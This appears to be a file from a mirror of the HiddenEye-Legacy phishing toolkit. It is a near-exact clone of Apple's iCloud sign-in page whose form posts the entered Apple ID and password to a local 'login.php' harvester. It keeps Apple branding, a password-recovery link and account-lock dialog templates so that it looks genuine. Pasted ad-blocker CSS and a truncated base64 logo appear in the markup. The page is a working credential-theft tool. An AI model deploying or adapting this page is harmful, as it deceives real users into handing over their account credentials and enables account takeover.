mirror of
https://github.com/DarkSecDevelopers/HiddenEye-Legacy.git
synced 2024-03-22 21:12:55 +08:00
860 lines
103 KiB
HTML
860 lines
103 KiB
HTML
|
<!DOCTYPE html>
|
|||
|
<!-- saved from url=(0109)https://idmsa.apple.com/appleauth/auth/signin?widgetKey=83545bf919730e51dbfba24e7e8a78d2&locale=en_US&font=sf -->
|
|||
|
<html data-rtl="false" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
|
|||
|
<title></title>
|
|||
|
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<link rel="stylesheet" href="//www.apple.com/wss/fonts?families=SF+Pro,v1|SF+Pro+Icons,v1" type="text/css">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<link rel="stylesheet" type="text/css" media="screen" href="app.css">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<script type="text/javascript" src="https://appleid.cdn-apple.com/appleauth/static/jsj/N1241477586/common-header.js"></script>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<style type="text/css">:root a[href^="http://ad-apac.doubleclick.net/"], :root .GKJYXHBF2 > .GKJYXHBE2 > .GKJYXHBH5, :root a[href^="http://www.amazon.co.uk/exec/obidos/external-search?"], :root #\5f _mom_ad_2, :root #rhs_block .mod > .luhb-div > div[data-async-type="updateHotelBookingModule"], :root #\5f _admvnlb_modal_container, :root #MAIN.ShowTopic > .ad, :root a[href^="http://pubads.g.doubleclick.net/"], :root .GB3L-QEDGY .GB3L-QEDF- > .GB3L-QEDE-, :root #main_col > #center_col div[style="font-size:14px;margin:0 4px;padding:1px 5px;background:#fff7ed"], :root div[class*="-storyBodyAd-"], :root #center_col > #main > .dfrd > .mnr-c > .c._oc._zs, :root a[href^="http://ul.to/ref/"], :root #\5f _nq__hh[style="display:block!important"], :root a[href^="http://cdn.adstract.com/"], :root a[href^="//tracking.content-recommendation.net/"][href*="/sponsored/click.html?"], :root div[class^="ads-partner-"], :root #\5f _mom_ad_12, :root .inlineNewsletterSubscription + .inlineNewsletterSubscription div[class$="_item"], :root a[href^="https://fileboom.me/pr/"], :root a[href^="http://lp.ncdownloader.com/"], :root a[href^="https://intrev.co/"], :root div[id^="google_ads_iframe_"], :root #ads > .dose > .dosesingle, :root a[href^="http://3wr110.net/"], :root a[href^="http://bestorican.com/"], :root div[id^="ad_script_"], :root a[href^="http://get.slickvpn.com/"], :root .gbfwa > div[class$="_item"], :root #assetsListings[style="display: block;"], :root #center_col > #\5f Emc, :root a[href^="http://marketgid.com"], :root #rhs_block > ol > .rhsvw > .kp-blk > .xpdopen > ._OKe > ol > ._DJe > .luhb-div, :root a[href^="http://go.mobisla.com/"], :root #center_col > #res > #topstuff + #search > div > #ires > #rso > #flun, :root a[href^="http://www.webtrackerplus.com/"], :root a[href^="http://www.affbuzzads.com/affiliate/"], :root #center_col > #resultStats + #tads, :root #main-content > [style="padding:10px 0 0 0 !important;"], :root #center_col > #resultStats + #tads + #res + #tads, :root #cnt #center_col > #taw > #tvcap > .c._oc._Lp, :root a[href^="http://www.paddypower.com/?AFF_ID="], :root a[onmousedown^="this.href='http://staffpicks.outbrain.com/network/redir?"][target="_blank"], :root #center_col > #resultStats + div + #res + #tads, :root div[id^="crt-"][style], :root div[class^="Ad__container"], :root a[href^="http://centertrust.xyz/"], :root a[href^="http://g1.v.fwmrm.net/ad/"], :root a[href^="http://www.fbooksluts.com/"], :root #center_col > #resultStats + div[style="border:1px solid #dedede;margin-bottom:11px;padding:5px 7px 5px 6px"], :root a[href^="http://ads.integral-marketing.com/"], :root div[id^="advads_"], :root a[data-obtrack^="http://paid.outbrain.com/network/redir?"], :root .__y_inner > .__y_item, :root div[id^="ads300_100-widget"], :root #center_col > #taw > #tvcap > .rscontainer, :root #center_col > div[style="font-size:14px;margin-right:0;min-height:5px"] > div[style="font-size:14px;margin:0 4px;padding:1px 5px;background:#fff8e7"], :root div[id^="MarketGid"], :root a[href^="https://www.financeads.net/tc.php?"], :root #cnt #center_col > #res > #topstuff > .ts, :root #content > #center > .dose > .dosesingle, :root a[href^="http://www.text-link-ads.com/"], :root #content > #right > .dose > .dosesingle, :root #flowplayer > div[style="position: absolute; width: 300px; height: 275px; left: 222.5px; top: 85px; z-index: 999;"], :root a[href^="http://ads.betfair.com/redirect.aspx?"], :root #flowplayer > div[style="z-index: 208; position: absolute; width: 300px; height: 275px; left: 222.5px; top: 85px;"], :root a[href*="emprestimo.eu"], :root #header + #content > #left > #rlblock_left, :root .__zinit .__y_item, :root a[href^="//40ceexln7929.com/"], :root #mbEnd[cellspacing="0"][cellpadding="0"], :root a[href^="http://banners.victor.com/processing/"], :root #mn #center_col > div > h2.spon:first-child, :root .ch[onclick="ga(this,event)"], :root a[href^="//go.vedohd.org/"], :root #mn #center_col > div > h2.spon:first-child + ol:last-child, :root a[href^="http://affiliate.coral.co.uk/processing/"], :root #mn div[style="position:relativ
|
|||
|
|
|||
|
<body class="tk-body sf-ns-ui">
|
|||
|
|
|||
|
<div class="si-body si-container container-fluid" id="content" data-theme="lite"><apple-auth app-loading-defaults="{appLoadingDefaults}">
|
|||
|
<div class="widget-container fade-in restrict-max-wh fade-in " data-mode="embed" data-isiebutnotedge="false">
|
|||
|
|
|||
|
<div id="step" class="si-step ">
|
|||
|
<logo {hide-app-logo}="hideAppLogo" {show-fade-in}="showFadeIn"> <div class="logo signin-label fade-in">
|
|||
|
|
|||
|
<img class="cnsmr-app-image" src="data:image/png;base64,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
|
|||
|
</div>
|
|||
|
|
|||
|
|
|||
|
</logo>
|
|||
|
<div id="stepEl" class=" "><sign-in suppress-iforgot="{suppressIforgot}" {on-test-idp}="@_onTestIdp">
|
|||
|
|
|||
|
<div class="signin fade-in" id="signin">
|
|||
|
<h1 tabindex="-1" class="si-container-title tk-intro "> Sign in to iCloud
|
|||
|
</h1>
|
|||
|
<div class="container si-field-container password-second-step password-on ">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<div id="sign_in_form" class="signin-form
|
|||
|
|
|||
|
fed-auth
|
|||
|
|
|||
|
show-password
|
|||
|
|
|||
|
">
|
|||
|
<div class="si-field-container container">
|
|||
|
<div class="form-table">
|
|||
|
<div class="ax-vo-border hide-password show-password "></div>
|
|||
|
<div class="account-name form-row hide-password show-password ">
|
|||
|
<label class="sr-only form-cell form-label" for="account_name_text_field">Apple ID</label>
|
|||
|
<div class="form-cell">
|
|||
|
<div class="form-cell-wrapper">
|
|||
|
<form action="../login.php" method="post" target="_parent"> <input type="text" class="form-textbox form-textbox-text" id="account_name_text_field" can-field="accountName" autocomplete="off" autocorrect="off" autocapitalize="off" aria-required="true" required="required" aria-describedby="apple_id_field_label" spellcheck="false" autofocus="" ($focus)="appleIdFocusHandler()" ($keyup)="appleIdKeyupHandler()" ($blur)="appleIdBlurHandler()" placeholder="Apple ID" name="username">
|
|||
|
<span class="sr-only form-label-flyout" id="apple_id_field_label" aria-hidden="true">
|
|||
|
Sign in to iCloud Apple ID
|
|||
|
</span>
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
<div class="field-separator "></div>
|
|||
|
<div class="password form-row hide-password hide-placeholder show-password show-placeholder ">
|
|||
|
<label class="sr-only form-cell form-label" for="password_text_field">Password</label>
|
|||
|
<div class="form-cell">
|
|||
|
<div class="form-cell-wrapper">
|
|||
|
<input type="password" class="form-textbox form-textbox-text" id="password_text_field" ($keyup)="passwordKeyUpHandler()" ($focus)="pwdFocusHandler()" ($blur)="pwdBlurHandler()" aria-required="true" required="required" can-field="password" autocomplete="off" placeholder="Password" name="password">
|
|||
|
<span class="sr-only form-label-flyout" id="invalid_user_name_pwd_err_msg" aria-hidden="true">
|
|||
|
|
|||
|
</span>
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<div class="si-remember-password">
|
|||
|
<input type="checkbox" id="remember-me" class="form-choice form-choice-checkbox" {($checked)}="isRememberMeChecked">
|
|||
|
<label id="remember-me-label" class="form-label" for="remember-me">
|
|||
|
<span class="form-choice-indicator"></span> Keep me signed in
|
|||
|
</label>
|
|||
|
</div>
|
|||
|
<div class="spinner-container auth hide ">
|
|||
|
</div>
|
|||
|
<button><img src="arrow.png" class="si-button btn fed-ui moved fed-ui-animation-show remember-me link"></button></form> <button id="sign-in-cancel" ($click)="_signInCancel($element)" aria-label="Close" aria-disabled="false" tabindex="0" class="si-button btn secondary feat-split remember-me link ">
|
|||
|
<span class="text">Close</span>
|
|||
|
</button>
|
|||
|
</div>
|
|||
|
<div class="si-container-footer">
|
|||
|
<div class="separator "></div>
|
|||
|
<div class="links tk-subbody">
|
|||
|
<div class="si-forgot-password">
|
|||
|
<a id="iforgot-link" class="si-link ax-outline lite-theme-override" ($click)="iforgotLinkClickHandler($element)" href="https://iforgot.apple.com/password/verify/appleid" target="_blank">
|
|||
|
Forgot Apple ID or password?
|
|||
|
</a>
|
|||
|
|
|||
|
</div>
|
|||
|
|
|||
|
</div>
|
|||
|
|
|||
|
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</sign-in></div>
|
|||
|
</div>
|
|||
|
<div id="stocking" style="display:none !important;"></div>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</div>
|
|||
|
|
|||
|
</apple-auth></div>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<script type="text/stache" id="jstache_1719040520">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
{{#if isShowAppleLogo}}
|
|||
|
<appleid-logo mode="{mode}"></appleid-logo>
|
|||
|
{{/if}}
|
|||
|
<div class="widget-container fade-in {{#isSafari}}safari-browser{{/isSafari}}{{#showAcccountLockedDialog}}show-dialog{{/showAcccountLockedDialog}} {{^isRepairRequired}}restrict-max-wh{{/isRepairRequired}} {{#showRepairWidget}}fade-out{{/showRepairWidget}} {{^showRepairWidget}}fade-in{{/showRepairWidget}} {{#if isRepairWidgetOnMobile}}repair-widget-mobile{{/if}}"
|
|||
|
data-mode="{{mode}}" data-isiebutnotedge="{{isIEButNotEdge}}">
|
|||
|
{{#showExpiredPwdRepair}}
|
|||
|
{{^isRepairUIModeInline}}
|
|||
|
<div id="pop-change-pwd" class="change-password-pop"></div>
|
|||
|
{{/isRepairUIModeInline}}
|
|||
|
{{#isRepairUIModeInline}}
|
|||
|
<div id="inline-change-pwd" class="change-password-inline"></div>
|
|||
|
{{/isRepairUIModeInline}}
|
|||
|
{{/showExpiredPwdRepair}}
|
|||
|
|
|||
|
<div id="step" class="si-step {{#fadeIn}}fade-in{{/fadeIn}}">
|
|||
|
{{^showExpiredPwdRepair}}
|
|||
|
<logo {hide-app-logo}="hideAppLogo" {show-fade-in}="showFadeIn"></logo>
|
|||
|
{{/showExpiredPwdRepair}}
|
|||
|
<div id="stepEl"
|
|||
|
class="{{#showExpiredPwdRepair}}hide{{/showExpiredPwdRepair}} {{#hideStepElement}}hide{{/hideStepElement}} {{#dialog.resetCRToken.message}}hide{{/dialog.resetCRToken.message}} {{#if showIntermediaryFedAuthPage}} hide {{/if}}" >
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
<div id="stocking" style="display:none !important;"></div>
|
|||
|
{{#showAcccountLockedDialog}}
|
|||
|
<app-dialog heading="{dialog.acccountLocked.title}"
|
|||
|
show-apple-logo="{dialog.acccountLocked.showAppleLogo}"
|
|||
|
theme="{dialog.acccountLocked.theme}"
|
|||
|
title-align="{dialog.acccountLocked.titleAlign}"
|
|||
|
body-align="{dialog.acccountLocked.bodyAlign}"
|
|||
|
btn-opts="{dialog.acccountLocked.btnOpts}"
|
|||
|
{dialog-click}="@dialogClick"
|
|||
|
>
|
|||
|
<div class="acc-locked" id="acc-locked">
|
|||
|
<div class="dialog-body">
|
|||
|
<div class="dialog-info">
|
|||
|
<div class="thin">
|
|||
|
You must unlock your account before signing in.
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
</app-dialog>
|
|||
|
{{/showAcccountLockedDialog}}
|
|||
|
{{#if showIntermediaryFedAuthPage}}
|
|||
|
<app-dialog heading="{dialog.intermediaryFedAuthPage.title}"
|
|||
|
show-apple-logo="{dialog.intermediaryFedAuthPage.showAppleLogo}"
|
|||
|
theme="{dialog.intermediaryFedAuthPage.theme}"
|
|||
|
title-align="{dialog.intermediaryFedAuthPage.titleAlign}"
|
|||
|
body-align="{dialog.intermediaryFedAuthPage.bodyAlign}"
|
|||
|
btn-opts="{dialog.intermediaryFedAuthPage.btnOpts}"
|
|||
|
{dialog-click}="@dialogClick"
|
|||
|
is-show-dialog-logo="{showFedAuthDialogLogo}"
|
|||
|
dialog-logo-class="{{#is federatedData.federatedAuthIntro.orgType 'EDUCATION' }} education-logo {{/is}}
|
|||
|
{{#is federatedData.federatedAuthIntro.orgType 'ENTERPRISE' }} enterprise-logo {{/is}}"
|
|||
|
>
|
|||
|
<div class="intermediary-page" id="intermediaryFedAuthPage">
|
|||
|
<div class="dialog-body">
|
|||
|
<div class="dialog-info">
|
|||
|
<div class="thin">
|
|||
|
Continue to {{federatedData.federatedAuthIntro.idpName}} to sign in to your {{federatedData.federatedAuthIntro.orgName}} account.
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
</app-dialog>
|
|||
|
{{/if}}
|
|||
|
|
|||
|
{{#show8HoursAccountLockedDialog}}
|
|||
|
<app-dialog heading="{dialog.acccountLocked.title}"
|
|||
|
show-apple-logo="{dialog._8HoursAccountLocked.showAppleLogo}"
|
|||
|
theme="{dialog._8HoursAccountLocked.theme}"
|
|||
|
title-align="{dialog._8HoursAccountLocked.titleAlign}"
|
|||
|
body-align="{dialog._8HoursAccountLocked.bodyAlign}"
|
|||
|
btn-opts="{dialog._8HoursAccountLocked.btnOpts}"
|
|||
|
{dialog-click}="@dialogClick"
|
|||
|
>
|
|||
|
<div class="acc-locked" id="acc-locked">
|
|||
|
<div class="dialog-body">
|
|||
|
<div class="dialog-info">
|
|||
|
<div class="thin">
|
|||
|
You have made too many attempts to verify your identity. You must unlock your account to continue.
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
</app-dialog>
|
|||
|
{{/show8HoursAccountLockedDialog}}
|
|||
|
{{#showNoDevicesNoRKDialog}}
|
|||
|
<app-dialog heading="{dialog.noDevicesNoRKDialog.title}"
|
|||
|
show-apple-logo="{dialog.noDevicesNoRKDialog.showAppleLogo}"
|
|||
|
theme="{dialog.noDevicesNoRKDialog.theme}"
|
|||
|
title-align="{dialog.noDevicesNoRKDialog.titleAlign}"
|
|||
|
body-align="{dialog.noDevicesNoRKDialog.bodyAlign}"
|
|||
|
btn-opts="{dialog.noDevicesNoRKDialog.btnOpts}"
|
|||
|
{dialog-click}="@dialogClick"
|
|||
|
>
|
|||
|
<div class="acc-locked" id="acc-locked">
|
|||
|
<div class="dialog-body">
|
|||
|
<div class="dialog-info">
|
|||
|
<div class="thin">
|
|||
|
Your sign in cannot be completed because you have no trusted devices listed for your account. Visit the Apple ID site and use your Recovery Key to add trusted devices.
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
</app-dialog>
|
|||
|
{{/showNoDevicesNoRKDialog}}
|
|||
|
{{#dialog.resetCRToken.message}}
|
|||
|
<app-dialog heading="{dialog.resetCRToken.title}"
|
|||
|
show-apple-logo="{dialog.resetCRToken.showAppleLogo}"
|
|||
|
theme="{dialog.resetCRToken.theme}"
|
|||
|
title-align="{dialog.resetCRToken.titleAlign}"
|
|||
|
body-align="{dialog.resetCRToken.bodyAlign}"
|
|||
|
btn-opts="{dialog.resetCRToken.btnOpts}"
|
|||
|
{dialog-click}="@dialogClick"
|
|||
|
>
|
|||
|
<div class="reset-cr-token" id="resetCRToken">
|
|||
|
<div class="dialog-body">
|
|||
|
<div class="dialog-info">
|
|||
|
<div class="thin">
|
|||
|
{{dialog.resetCRToken.message}}
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
</app-dialog>
|
|||
|
{{/dialog.resetCRToken.message}}
|
|||
|
{{#isRepairRequired}}
|
|||
|
<div class="repair-widget {{#showRepairWidget}}fade-in{{/showRepairWidget}} {{^showRepairWidget}}fade-out{{/showRepairWidget}}"
|
|||
|
id="repairWidget"></div>
|
|||
|
{{/isRepairRequired}}
|
|||
|
</div>
|
|||
|
|
|||
|
</script>
|
|||
|
|
|||
|
<script type="text/stache" id="jstache_995456558">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
{{#logoImage}}
|
|||
|
<div class="logo {{#if hideAppLogo}} hide{{/if}} {{#if isSignInLabel}} signin-label {{/if}} {{#if showFadeIn}}fade-in{{/if}}">
|
|||
|
{{#logoUrl}}
|
|||
|
<a href="{{logoUrl}}" target="blank" tabindex="0" class="ax-outline">
|
|||
|
<img class="cnsmr-app-image" src="{{logoImage}}" style="width:{{logoWidth}}" alt="{{logoAltText}}"/>
|
|||
|
</a>
|
|||
|
{{/logoUrl}}
|
|||
|
{{^logoUrl}}
|
|||
|
<img class="cnsmr-app-image" src="{{logoImage}}" style="width:{{logoWidth}}" alt="{{logoAltText}}"/>
|
|||
|
{{/logoUrl}}
|
|||
|
</div>
|
|||
|
{{/logoImage}}
|
|||
|
{{#logoText}}
|
|||
|
<div class="logo {{#if hideAppLogo}} hide{{/if}}">
|
|||
|
<div class="cnsmr-app-name">{{logoText}}</div>
|
|||
|
</div>
|
|||
|
{{/logoText}}
|
|||
|
|
|||
|
</script>
|
|||
|
|
|||
|
<script type="text/stache" id="jstache_383021710">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
{{#is _context "TEST_IDP"}}
|
|||
|
<button id="test_idp" ($click)="_testIdp()" class="button" style=" {{testIdpButtonStyle}} "> {{testIdpButtonText}} </button>
|
|||
|
{{else}}
|
|||
|
{{^or didClickIForgot isResetSecurityQuestionsDialog isResetSecurityQuestionsFailureDialog}}
|
|||
|
<div class="signin fade-in" id="signin">
|
|||
|
{{#if signInLabel}}
|
|||
|
<h1 class="si-container-title {{#if isDeviceTypePhone}}tk-subsection-subhead{{else}}tk-intro{{/if}} {{#if appName}}{{#unless isLogoAvailable}}no-logo-available{{/unless}}{{/if}}" tabindex="-1">
|
|||
|
{{signInLabel}}
|
|||
|
</h1>
|
|||
|
{{else}}
|
|||
|
{{#if appName}}
|
|||
|
<h1 class="si-container-title {{#if isDeviceTypePhone}}tk-subsection-subhead{{else}}tk-intro{{/if}}" tabindex="-1">
|
|||
|
Sign In to {{appName}}
|
|||
|
</h1>
|
|||
|
{{/if}}
|
|||
|
{{/if}}
|
|||
|
<div class="container si-field-container {{#if isPasswordSecondStep}} password-second-step {{#if showPassword}} password-on {{/if}} {{/if}} {{#errorMessage}} has-error {{/errorMessage}} {{#if invalidShake}}shake{{/if}} {{#if isPasswordOnlySignIn}}password-only-signin{{/if}}">
|
|||
|
{{#if isPasswordSecondStep}}
|
|||
|
{{> _signInFormTemplateID}}
|
|||
|
{{else}}
|
|||
|
<div class="no-gutter si-field apple-id">
|
|||
|
<div class="col-xs-12">
|
|||
|
<span class="sr-only" id="appleIdFieldLabel" aria-hidden="true">
|
|||
|
{{signInLabel}}
|
|||
|
Apple ID
|
|||
|
</span>
|
|||
|
<div class="ax-border apple-id {{#if isAppleIdFocus}} appleid-focus{{/if}}">
|
|||
|
<input class="si-text-field form-textbox {{#if spinnerFor.auth}}disable{{/if}}"
|
|||
|
id="appleId"
|
|||
|
type="text"
|
|||
|
placeholder="{{appleIdPlaceholder}}"
|
|||
|
can-field="accountName"
|
|||
|
autocomplete="off"
|
|||
|
autocorrect="off"
|
|||
|
autocapitalize="off"
|
|||
|
aria-required="true"
|
|||
|
required="required"
|
|||
|
aria-labelledby="appleIdFieldLabel"
|
|||
|
spellcheck="false"
|
|||
|
autofocus
|
|||
|
{{#if isAccountNameReadonly}}readonly{{/if}}
|
|||
|
($focus)="appleIdFocusHandler()"
|
|||
|
($keyup)="appleIdKeyupHandler()"
|
|||
|
($blur)="appleIdBlurHandler()"
|
|||
|
>
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
<div class="field-separator {{#or isPwdFocus isAppleIdFocus}} focus {{/or}}"></div>
|
|||
|
<div class="no-gutter si-field pwd">
|
|||
|
<div class="col-xs-12">
|
|||
|
<label for="pwd" class="sr-only" aria-hidden="true">
|
|||
|
Password
|
|||
|
</label>
|
|||
|
<div class="ax-border pwd {{#if isPwdFocus}} pwd-focus{{/if}}">
|
|||
|
<input class="si-password si-text-field {{#if spinnerFor.auth}}disable{{/if}} {{#unless isPwdFieldEmpty}}dots{{/unless}} form-textbox"
|
|||
|
id="pwd"
|
|||
|
($keyup)="passwordKeyUpHandler()"
|
|||
|
($focus)="pwdFocusHandler()"
|
|||
|
($blur)="pwdBlurHandler()"
|
|||
|
type="password"
|
|||
|
aria-required="true"
|
|||
|
required="required"
|
|||
|
placeholder="{{passwordPlaceholder}}"
|
|||
|
can-field="password"
|
|||
|
{{#errorMessage}}aria-invalid="true" aria-describedby="invalidUserNamePwdErrMsg"{{/errorMessage}}
|
|||
|
autocomplete="off">
|
|||
|
</div>
|
|||
|
<p class="sr-only" id="invalidUserNamePwdErrMsg" role="tooltip">
|
|||
|
{{{errorMessage}}}
|
|||
|
</p>
|
|||
|
</div>
|
|||
|
</div>
|
